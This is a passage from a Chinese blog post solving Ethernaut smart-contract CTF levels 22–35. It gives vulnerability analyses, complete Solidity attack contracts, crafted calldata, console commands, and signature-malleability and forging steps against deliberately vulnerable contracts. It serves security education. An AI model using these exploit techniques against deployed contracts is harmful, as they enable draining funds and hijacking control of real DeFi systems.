                if (amount > 0) {
                    DEX.swap(token2, token1, amount);
                }
            }
        }
    }
}

部署合约,传入DEX地址。

在控制台运行下面命令,给攻击合约授权,该地址为攻击合约的地址。

await contract.approve("0x48e5e5b63cedB813A8299dc7DAa334FBAbc99917",10);

然后调用pullFromEOA()把代币都转到攻击合约。

最后调用attack()

23 Dex Two

目标:把合约的token1和token2的余额都变为0

考察对 ERC-20 行为(approve/transferFrom/decimals)与经济逻辑(价格公式) 的理解

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

上面是关键代码,与上一题差不多,但是少了验证语句:

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens")

所以,Dex 没限制只能用 token1/token2 作为 from,玩家可以用任意自定义代币来交换

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDEXTwo {
    function swap(address from, address to, uint256 amount) external;
    function token1() external view returns(address);
    function token2() external view returns(address);
}

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns(bool);
    function balanceOf(address who) external view returns(uint256);
}

contract DexTwoAttack {
    string public name = "AttackToken";
    uint256 public TOTALSUPPLY = 10;
    mapping(address => uint256) public balanceof;

    IDEXTwo public DEX;
    address public DEX_addr;
    address public token1;
    address public token2;
    address public AttackToken;

    constructor(address _DEX) {
        DEX_addr = _DEX;
        DEX = IDEXTwo(DEX_addr);
        token1 = DEX.token1();
        token2 = DEX.token2();
    }

    function transferFrom(address from, address to, uint256 amount) public returns(bool) {
        require(balanceof[from] >= amount);
        balanceof[from] -= amount;
        balanceof[to] += amount;
        return true;
    }

    function balanceOf(address owner) public view returns(uint256) {
        return balanceof[owner];
    }

    function attack() external  {
        AttackToken = address(this);    //AttackToken的地址
        balanceof[AttackToken] = 10;    //给本合约10个AttackToken代币
        IERC20(AttackToken).transferFrom(AttackToken, DEX_addr, 1); //给题目地址1个代币,防止分母为0

        /*
        先交换token1,根据公式一个AttackToken即可换走全部token1
         获得token1数量 = 交换的AttackToken数量 * 题目合约的token1数量 / 题目合约的AttackToken数量
         100 = 1 * 100 / 1
         */
        DEX.swap(AttackToken, token1, 1);

        /*
        再交换token2,根据公式两个AttackToken即可换走全部token2
         获得token2数量 = 交换的AttackToken数量 * 题目合约的token2数量 / 题目合约的AttackToken数量
         100 = 2 * 100 / 2
         */
        DEX.swap(AttackToken, token2, 2);
    }
}

部署后调用attack()成功就完成了。

24 Puzzle Wallet

目标:成为合约的admin

考察可升级智能合约与智能合约代理模式

分析代码可知:

PuzzleProxy是一个可升级代理合约,使用代理模式(通过 delegatecall)调用 PuzzleWallet 的逻辑。

PuzzleWallet是一个钱包合约,允许白名单用户存款、取款和执行交易,包含 multicall 函数来批量处理交易。

两个合约共享存储槽,导致存储变量冲突(PuzzleProxy.pendingAdmin 覆盖 PuzzleWallet.ownerPuzzleProxy.admin 对应 PuzzleWallet.maxBalance

PuzzleWallet.multicall 允许多次 delegatecall,但对 depositmsg.value 只检查一次。嵌套 multicall 调用 deposit 可重复记录 msg.value,膨胀 balances 映射中的余额。比如转 1 ETH,记录两次,最终余额显示为 2 ETH。

使用攻击合约逐步覆盖

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPuzzleWallet {
    function addToWhitelist(address addr) external;
    function deposit() external payable;
    function multicall(bytes[] calldata data) external payable;
    function execute(address to, uint256 value, bytes calldata data) external;
    function setMaxBalance(uint256 _maxBalance) external;
    function maxBalance() external view returns (uint256);
}

interface IPuzzleProxy {
    function proposeNewAdmin(address _newAdmin) external;
}

contract PuzzleWalletAttack {
    IPuzzleWallet public wallet;
    IPuzzleProxy public proxy;

        //因为链上实际只有 Proxy 的一个地址,调用代理合约时它会把未命中的方法通过 delegatecall 委托给实现合约执行;
        //所以这里只用传入代理地址,即题目中的实例地址,看起来像是“一个地址实现了两个接口”
    constructor(address _addr) {
        wallet = IPuzzleWallet(_addr);
        proxy = IPuzzleProxy(_addr);
    }

    function attack() external payable {
        // 步骤 1: 调用 proposeNewAdmin 将 pendingAdmin 和 owner 设置为攻击合约地址
        proxy.proposeNewAdmin(address(this));

        // 步骤 2: 将攻击合约加入白名单
        wallet.addToWhitelist(address(this));

        // 步骤 3: 构造 multicall 数据以利用存款漏洞
        bytes[] memory depositData = new bytes[](1);
        depositData[0] = abi.encodeWithSelector(wallet.deposit.selector);

        bytes[] memory multicallData = new bytes[](2);
        multicallData[0] = depositData[0]; // 第一次 deposit
        multicallData[1] = abi.encodeWithSelector(wallet.multicall.selector, depositData); // 嵌套 multicall 调用 deposit

        // 发送 0.001 ETH (1 finney) ,记录为 0.002 ETH 的余额
        wallet.multicall{value: msg.value}(multicallData);

        // 步骤 4: 耗尽钱包资金
        wallet.execute(msg.sender, 0.002 ether, "");

        // 步骤 5: 设置 maxBalance 为玩家地址,成为 admin
        wallet.setMaxBalance(uint256(uint160(msg.sender)));
    }

    // 接收 ETH
    receive() external payable {}
}

调用attack(),value = 0.001 eth

25 Motorbike

目标:使Engine 合约selfdestruct

考察EIP-1967 存储槽 和 UUPS 可升级模式漏洞

分析代码,有两个合约:

  1. Motorbike (Proxy) 这是一个 proxy,遵循 EIP-1967 标准,将逻辑合约地址(Engine)存储在固定槽里:

    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;`

    fallback() 使用 _delegate,把所有调用转发给 Engine。 构造函数会调用一次 initialize(),设置 Engine 的状态。

  2. Engine (逻辑合约) 继承 Initializable,只有在未初始化时才能执行 initialize()initialize() 设置 horsePower = 1000,并把 upgrader = msg.sender。 有一个 upgradeToAndCall 函数,允许升级逻辑,但只允许 upgrader 调用。

漏洞点: Engine 本身也是一个合约,拥有独立的存储和状态。 代理合约只是把调用转发给 Engine,但我们可以直接调用 Engine 的地址,而不是通过 Proxy。

因为 initialize()initializer 修饰的(只限制调用一次per storage), 而 Proxy 调用时用的是 Proxy 的存储槽,Engine 自己的存储并没有被标记为已初始化。

所以我们可以直接对 Engine 调用 initialize(),把自己设为 upgrader,然后调用 EngineupgradeToAndCall() ,升级到攻击合约并立即调用 kill()。 因为 delegatecall 是在 Engine 的上下文中执行的,所以 selfdestruct() 直接销毁 Engine 合约本身

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IEngine {
    function initialize() external;
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract Motorbike {
    IEngine public engine;

    constructor(address _engine) {
        engine = IEngine(_engine);
    }

    function attack() public {
        engine.initialize();
        bytes memory data = abi.encodeWithSelector(this.kill.selector);
        engine.upgradeToAndCall(address(this), data);
    }

    function kill() public {
        selfdestruct(payable(tx.origin));
    }
}

先获取engine的地址,

const slot = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

const engine = "0x" +(await web3.eth.getStorageAt(contract.address, slot)).slice(26);

然后在部署合约时传入engine地址,调用attack()

目前这道题目好像有问题,详情请到Github查看。

26 DoubleEntryPoint

目的:设计并注册检测机器人以触发正确的警报

  • 题目共有4类合约 Vault:持有 100 DET(underlying)+ 100 LGT。 LegacyToken:旧代币,可以被设置为 delegate = DoubleEntryPoint。 DoubleEntryPoint:新代币,负责处理 LegacyToken 转账的委托。 Forta:监控系统,依赖检测机器人。

  • 如果有人调用 CryptoVault.sweepToken(LGT): Vault 会把所有 LGT 发出去。 但这个转账实际走的是 LGT.transfer → DET.delegateTransfer。 所以 Vault 的 DET 余额(underlying)就会被间接动用。

为了防止这个漏洞,需要机器人在 Forta 里检测:delegateTransfer 的 origSender 是否是 Vault。如果是,触发警报并回滚。

机器人合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IForta {
    function raiseAlert(address user) external;
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

contract DetectionBot is IDetectionBot {
    IForta public forta;
    address public cryptoVault;

    constructor(address _forta, address _cryptoVault) {
        forta = IForta(_forta);
        cryptoVault = _cryptoVault;
    }

    // 仅检测 calldata 是否为 delegateTransfer(...) 且 origSender == cryptoVault
    function handleTransaction(address user, bytes calldata msgData) external override {
        // 需要读取 calldata 的 selector 和第三个参数(origSender)
        bytes4 selector;
        address origSender;

        assembly {
            // 第一个 32 bytes 包含 selector at its highest-order 4 bytes
            // 读取 selector(calldataload 读取从 msgData.offset 开始的 32 字节)
            selector := calldataload(msgData.offset)

            // origSender 是第 3 个参数:在 calldata 中偏移为:
            // 4 (selector) + 32 (param1) + 32 (param2) = 68 bytes  -> 所以 offset = msgData.offset + 68
            origSender := calldataload(add(msgData.offset, 68))
        }

        // 计算 delegateTransfer(address,uint256,address) 的 selector 动态比较
        bytes4 delegateSel = bytes4(keccak256("delegateTransfer(address,uint256,address)"));

        // 注意:上面 assembly 读取 selector 时包含在高位(左对齐),但 bytes4(...) 比较是兼容的
        if (selector == delegateSel && origSender == cryptoVault) {
            // 若发现对 vault 发起的 delegateTransfer,就 raiseAlert
            forta.raiseAlert(user);
        }
    }
}

在控制台运行

const bot = "刚部署的合约地址"`

const fortaAbi = [ { "constant": false, "inputs": [{"name":"detectionBotAddress","type":"address"}], "name":"setDetectionBot", "outputs": [], "type":"function" }, { "constant": true, "inputs": [{"name":"user","type":"address"}], "name":"usersDetectionBots", "outputs":[{"name":"","type":"address"}], "type":"function" } ];

forta = await new web3.eth.Contract(Abi, contract.forta());

await forta.methods.setDetectionBot(bot).send({ from: player });

就可以提交了。

27 Good Samaritan

目标:耗尽 GoodSamaritan 合约的钱包中所有代币余额

分析代码可知:

  • GoodSamaritan: 核心合约,管理捐赠流程,允许请求者通过 requestDonation 获取 10 个代币或剩余余额,存在错误处理漏洞。

  • Coin: 代币合约,管理余额和转账逻辑,初始分配 1,000,000 代币给 Wallet,并在转账到合约时调用 notify。

  • Wallet: 存储代币的钱包合约,由 GoodSamaritan 控制,负责执行捐赠(10 个代币)或转出全部余额。

donate10() 中,coin.transfer(dest_, 10) 会触发目标合约的 notify(10) 函数,在 notify 函数中,我们可以抛出自定义错误,抛出 NotEnoughBalance 错误,GoodSamaritan 会捕获它,并调用 transferRemainder(),从而转出钱包的全部余额。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGoodSamaritan {
    function requestDonation() external returns (bool enoughBalance);
}

contract GoodSamaritanAttack {
    error NotEnoughBalance();
    IGoodSamaritan goodSamaritan;

    constructor(address _addr) {
        goodSamaritan = IGoodSamaritan(_addr);
    }

    function notify(uint256 amount) public pure {
        if(amount == 10) {
            revert NotEnoughBalance();
        }
    }

    function attack() public {
        goodSamaritan.requestDonation();
    }
}

部署时传入实例地址,然后调用attack()

28 Gatekeeper Three

目标:绕过条件限制调用 enter() 函数将自己注册为 entrant

    //gate1:调用者和交易发起者不同
    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    //gate2:allowEntrance == true,根据相关代码可知,需要调用 getAllowance 并传入正确的 password(block.timestamp)
    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    //gate3:合约余额 > 0.001 ether 且向 owner 发送 0.001 ether 失败
    modifier gateThree() {
        if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
            _;
        }
    }

思路

  • gate1 需要一个攻击合约来调用function construct0r(),合约地址成为owner

  • gate2 在调用 createTrick() 后使用 block.timestamp 作为 _password 调用 getAllowance(),就能在一笔交易中进行

  • gate3 向 GatekeeperThree 发送 > 0.001 ether,且攻击合约没有 receive() 函数或拒绝以太坊,send 失败

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGateThree {
    function construct0r() external ;
    function createTrick() external ;
    function getAllowance(uint256 _password) external ;
    function enter() external ;
}

contract GateThree {
    IGateThree gate;

    constructor(address _gate){
        gate = IGateThree(_gate);
    }

    function attack() payable public {
        require(msg.value > 0.001 ether, "Send at least 1 finney");
        gate.construct0r();

        gate.createTrick();
        gate.getAllowance(block.timestamp);

        // 显式发送以太坊到 GatekeeperThree
        (bool sent, ) = address(gate).call{value: msg.value}("");
        require(sent, "Failed to send ether");

        gate.enter();
    }
}

调用attack(),需 value>0.001eth。

29 Switch

目标:调用 Switch 合约的 flipSwitch() 函数,将 switchOn 从 false 切换为 true

    //受 onlyOff 修饰器限制,检查 calldata 偏移 68 处的 4 字节是否为 offSelector
    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success,) = address(this).call(_data);
        require(success, "call failed :(");
    }

    //受onlythis限制,无法直接调用
    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

flipSwitch() 使用 address(this).call(_data) 执行 _data,允许间接调用 turnSwitchOn()

onlyOff 检查 calldata 偏移 68 处的 4 字节是否为 offSelector

可以构造 _data,使偏移 68 处包含 offSelector,但实际调用 turnSwitchOn() 的选择器。

构造data

1.函数选择器,占4字节,bytes4(keccak256("flipSwitch(bytes)"))

30c13ade

2.偏移,占32字节,表示此位置距离数据开始位置的长度,bytes32(uint256(96))

0000000000000000000000000000000000000000000000000000000000000060

3.填充至67,bytes32(0)

0000000000000000000000000000000000000000000000000000000000000000

4.68处填入要检查的4字节,bytes4(keccak256("turnSwitchOff()"))

20606e15

5.填充至数据开始位置,bytes28(0)

00000000000000000000000000000000000000000000000000000000

6.数据长度,占32字节,bytes32(uint256(4))

0000000000000000000000000000000000000000000000000000000000000004

7.数据,内容为调用turnSwitchOn() ,bytes4(keccak256("turnSwitchOn()"))

476227e1200000000000000000000000000000000000000000000000000000000

命令:

await sendTransaction({from: player, to: contract.address, data: '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000'})

30 HigherOrder

目标:成为commander

分析代码得知需要满足treasury > 255,而registerTreasury(uint8)入参的最大值为255,但是这部分代码

assembly {
            sstore(treasury_slot, calldataload(4))
        }

会把 calldata 偏移 4 开始的 32 字节原封不动写入 storage 中 treasury 对应的存储槽。

接下来构造data,

1.函数选择器,bytes4(keccak256("registerTreasury(uint8)"))

211c85ab

2.一个大于255的数,以32字节形式,0x100=256

0000000000000000000000000000000000000000000000000000000000000100

拼接得到

data:'0x211c85ab0000000000000000000000000000000000000000000000000000000000000100'

执行2条命令

await sendTransaction({from:player, to: contract.address, data:'0x211c85ab0000000000000000000000000000000000000000000000000000000000000100'});

await contract.claimLeadership();

31 Stake

目标

  • 合约 ETH 余额 > 0
  • totalStaked > ETH balance
  • Stakers[player] == true
  • UserStake[player] == 0

分析代码得知,存入ETH或WETH时,totalStaked都会增加,但Unstaked()时,只会给原生 ETH。

思路

  • 先用一些 ETH 调用 StakeETH() → 变成 Staker,合约有 ETH 余额。
  • WETH合约授权
  • 然后用 WETH 调用 StakeWETH()totalStaked 会加很多,但 ETH 余额不变。
  • 最后调用 Unstake() 把之前的 ETH 全部拿回,令UserStake=0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IStake {
    function StakeETH() external payable;
    function StakeWETH(uint256 amount) external returns (bool);
    function Unstake(uint256 amount) external returns (bool);
    function WETH() external view returns (address);
}

interface IWETH {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Stake {
    IStake stake;
    constructor(address _stake) {
        stake = IStake(_stake);
    }

    function attack() public payable {
        stake.StakeETH{value:msg.value}();
        address WETH = stake.WETH();
        IWETH(WETH).approve(address(stake), 100 ether);
        stake.StakeWETH(100 ether);
        stake.Unstake(msg.value * 2);
    }
}

调用attack()时value大于0.001ETH。

32 Impersonator

目标:使 任意人能够打开锁(触发 Open 事件),或改控制器(调用 changeController())。

合约重点 验证函数 _isValidSignature(v,r,s)

  • ecrecover(msgHash, v,r,s) 得到地址,检查 == controller
  • 计算 signatureHash = keccak256(abi.encode([uint256(r), uint256(s), uint256(v)])),检查 !usedSignatures[signatureHash],然后 usedSignatures[signatureHash] = true.
  • 返回 recovered address

关键漏洞

ECDSA 签名可锻性

  • 以太坊的 ECDSA 签名 (r, s, v) 可被转换为等价的 (r, N-s, v'),其中:

    • N 是 secp256k1 曲线阶:0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141。
    • v' = 55 - v(如果 v=27,则 v'=28;如果 v=28,则 v'=27)。
  • ecrecover(msgHash, v, r, s)ecrecover(msgHash, v', r, N-s)恢复相同的地址。

ECLocker 漏洞

  • changeController(uint8 v, bytes32 r, bytes32 s, address newController) 允许用有效签名更改 controller
  • 如果将 controller 改为 0x0(null 地址),任何无效签名(例如,v=0, r=0, s=0)都会通过

获取签名

const event = await contract.getPastEvents("NewLock", {fromBlock:9291255, toBlock:"latest"});

const sig = event[0].returnValues.signature;

sig = '0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9178489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2000000000000000000000000000000000000000000000000000000000000001b'

提取相关参数

r = 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91

s = 0x78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff2

v = 0x1b

计算得到

r = 0x1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b91

s‘ = 0x87b7639b5f24e93bf106794133370f950d5e9b00f5b5c8cbd866a487529b814f

v' = 0x1c

在钱包查看交易,在etherscan中查看,得到ECLocker地址

image.png

复制ECLocker代码到remix,在at address输入地址。

然后调用changeController(),输入计算得到的参数

交易成功后调用controller看到地址变成了0

然后调用open(),输入

v:0

r:0x0000000000000000000000000000000000000000000000000000000000000000

s:0x0000000000000000000000000000000000000000000000000000000000000000

33 Magic Animal Carousel

目标:破坏合约结构 可能的具体目标包括:

  • 控制任意箱子:修改不属于调用者的箱子数据。
  • 破坏循环链表:使 nextCrateId 指向无效或错误的位置,打破旋转木马的循环。
  • 清空或重置箱子:利用漏洞清空关键箱子(如 carousel[0])或篡改其数据。
  • 触发异常状态:例如,溢出 currentCrateId 或导致合约进入不可用状态。

漏洞

  • 位移不一致

    //在setAnimalAndSpin函数中,动物名称的位置是第 255 到 176 位,占80位
    //0xFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000
    carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
        | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);
    
    //而在 changeAnimal 函数中,动物名称占第 255 至 160 位。占96位
    //0xFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000
    carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);

    这多占的16位,即 nextCrateId 字段,这意味着可以通过精心构造的动物名称控制 nextCrateId,从而破坏旋转木马的循环链表结构。

  • 所有权

    在 changeAnimal 函数中

    address owner = address(uint160(crate & OWNER_MASK));
    if (owner != address(0)) {
        require(msg.sender == owner);
    }

    如果箱子的所有者字段为 0x0,任何用户都可以调用 changeAnimal() 修改该箱子。

初始时,carousel[0] 的所有者字段为 0(构造函数仅设置 nextCrateId),因此任何用户可以修改 carousel[0]。

所以尝试设置 carousel[0] 的 nextCrateId 设为最大值,以此破坏循坏结构。

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IMAC {
    function setAnimalAndSpin(string calldata animal) external;
     function changeAnimal(string calldata animal, uint256 crateId) external;
}

contract AttackMagicAC {
    IMAC mac;
    constructor(address _addr) {
        mac =  IMAC(_addr);
    }

    function attack() public {
        string memory data = string(abi.encodePacked(hex"10000000000000000000FFFF"));
        mac.changeAnimal(data, 1);
    }
}

34 Bet House

目标:调用 BetHouse.makeBet(address bettor_) 函数玩家地址的 bettors[address] 设置为 true

条件是需要玩家的wrappedToken 余额需 ≥ 20 玩家初始拥有 5 个 depositToken,可存入 0.001 ether(仅一次)获取 10 个 wrappedToken,再把 5 个depositToken转为wrappedToken,得到15个wrappedToken,但是还不够20个。

漏洞

function withdrawAll() external nonReentrant {
    uint256 _depositedValue = depositedPDT[msg.sender];  //用户将wrappedToken转走后depositedPDT[msg.sender]未更改状态
    if (_depositedValue > 0) {
        depositedPDT[msg.sender] = 0;
        PoolToken(depositToken).transfer(msg.sender, _depositedValue);
    }
    _depositedValue = depositedEther[msg.sender];
    if (_depositedValue > 0) {
        depositedEther[msg.sender] = 0;
        payable(msg.sender).call{value: _depositedValue}("");
    }
    PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}

如果在调用 withdrawAll() 前将 wrappedToken 转移到另一个地址, depositedPDTdepositedEther 仍被返还。

思路

先附带0.01ETH调用deposit(5),得到15个wrappedToken,此时depositedPDT[msg.sender] == 5

然后将15个wrappedToken全部转到另一个地址,此时状态未更新,依旧是depositedPDT[msg.sender] == 5

接着调用withdrawAll()得到5个depositToken

再次调用deposit(5),不用带ETH,可以得到5个wrappedToken

把之前的15个转回此账户

调用lockDeposits()后再调用makeBet()

题目一共涉及4个合约,分别是

BetHouse:地址就是控制台的contract.address

Pool:通过await web3.eth.getStorageAt(contract.address, 0)获取

PoolToken(depositToken):通过Pool合约的depositToken()

PoolToken(wrappedToken):通过Pool合约的wrappedToken()

先拿到前两个的地址,使用remix的At address连接合约实例后再获取后两个的地址,

全部连接后按照思路操作。

35 Elliptic Token

目标:窃取ALICE的token

漏洞

  • 未哈希的签名摘要permit() 函数在验证 token 持有者签名时,直接使用 bytes32(amount) 作为 ECDSA 签名的摘要(ECDSA.recover(bytes32(amount), tokenOwnerSignature)),而不是对其进行 keccak256 哈希。 这与 redeemVoucher() 函数中使用 keccak256(abi.encodePacked(...)) 形成哈希的做法不一致。
  • 域混淆:由于 permit() 函数允许将任何值(如 redeemVoucher 的 voucherHash)直接作为 amount,攻击者可以利用 ECDSA 签名的模 n 同余特性,找到一个不同的 amount 值(permit_amount),其签名仍然有效。
  • 绕过 usedHashes 检查permit() 函数检查 usedHashes[bytes32(permit_amount)],但通过选择一个与 voucherHash 模 n 同余但字节表示不同的 permit_amount,可以绕过此检查。

步骤

  • 找到交易数据中调用redeemVoucher()的data 该函数的签名为 0xbeb30836 因为bytes4(keccak256("redeemVoucher(uint256,address,bytes32,bytes,bytes)")) = 0xbeb30836 在etherscan查看生成实例时的交易数据,找到内部交易Internal Txns,打开ADVANCE MODE,每项交易最左侧都能展开查看详细信息,找到以0xbeb30836开头的input data。

  • 接下来解析得到amount , receiver , salt , ownerSignature , receiverSignature

    function parseRedeemVoucher(bytes calldata data)
            external
            returns (uint256, address, bytes32, bytes memory, bytes memory)
        {
            require(data.length >= 4, "data too short");
            bytes calldata payload = data[4:]; // strip selector
            // expected abi: (uint256 amount, address receiver, bytes32 salt, bytes ownerSignature, bytes receiverSignature)
            (amount, receiver, salt, ownerSignature, receiverSignature) = abi.decode(payload, (uint256, address, bytes32, bytes, bytes));
            return (amount, receiver, salt, ownerSignature, receiverSignature);
        }

    结果:

    amount = 10000000000000000000
    
    receiver = 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e
    
    salt = 0x04a078de06d9d2ebd86ab2ae9c2b872b26e345d33f988d6d5d875f94e9c8ee1e
    
    ownerSignature = 0x085a4f70d03930425d3d92b19b9d4e37672a9224ee2cd68381a9854bb3673ef86b35cfdeee0fb1d2168587fb188eefb4fe046109af063bf85d9d3d6859ceb4451c
    
    receiverSignature = 0xab1dcd2a2a1c697715a62eb6522b7999d04aa952ffa2619988737ee675d9494f2b50ecce40040bcb29b5a8ca1da875968085f22b7c0a50f29a4851396251de121c
  • 下一步计算 voucherHash , amountForPermit , permitAcceptHash

    function calculate() public view returns (bytes32 voucherHash, uint256 amountForPermit, bytes32 permitAcceptHash) {
            require(receiver != address(0), "no parsed voucher");
            voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
            amountForPermit = uint256(voucherHash);
            permitAcceptHash = keccak256(abi.encodePacked(receiver, controller, amountForPermit));
        }
  • 生成签名(使用python)

    from eth_keys import keys
    from eth_account.messages import encode_defunct
    
    # 输入参数
    ATTACKER_PRIVATE_KEY_HEX = "攻击者私钥"
    permit_accept_hash = "0x1b8dc92ebc0a2b40803130fcc3fba2a2f7eae873341f21233133bbdb33c75b76"
    
    # 将私钥转换为字节
    priv = bytes.fromhex(ATTACKER_PRIVATE_KEY_HEX.replace("0x", ""))
    pk = keys.PrivateKey(priv)
    # 将 permit_accept_hash 转换为字节
    hash_bytes = bytes.fromhex(permit_accept_hash.replace("0x", ""))
    # 为以太坊签名添加标准前缀(EIP-191)
    message = encode_defunct(hash_bytes)
    message_hash = message.body  # 提取 SignableMessage 的哈希字节
    # 生成签名
    sig = pk.sign_msg_hash(message_hash)
    # 提取 r, s, v,并调整 v 为 27 或 28
    r = sig.r.to_bytes(32, 'big')
    s = sig.s.to_bytes(32, 'big')
    v = bytes([sig.v + 27])  # 将 v 从 0/1 转换为 27/28
    # 拼接签名 (r || s || v)
    spender_signature = "0x" + (r + s + v).hex()
    
    # 输出结果
    print("Generated spenderSignature (r||s||v):", spender_signature)
    print(" r = 0x" + r.hex())
    print(" s = 0x" + s.hex())
    print(" v =", sig.v + 27)
  • 执行攻击

    function exploit(bytes calldata spenderSignature) external  {
            require(msg.sender == controller, "only controller");
            require(receiver != address(0), "no parsed voucher");
    
            // recompute voucherHash and amountForPermit
            bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
            uint256 amountForPermit = uint256(voucherHash);
    
            // Call permit: grant allowance to controller (attacker EOA)
            IEllipticToken(token).permit(amountForPermit, controller, receiverSignature, spenderSignature);
    
            // read alice balance to return
            uint256 aliceBalance = IEllipticToken(token).balanceOf(receiver);
        }
  • 到此只是拿到授权,最后还要在控制台调用transferFrom()转走Token

    await contract.transferFrom("0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e", player, "10000000000000000000");
  • 原创
  • 学分: 1
  • 分类: 安全
  • 标签:
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Enchanted17
Enchanted17
江湖只有他的大名,没有他的介绍。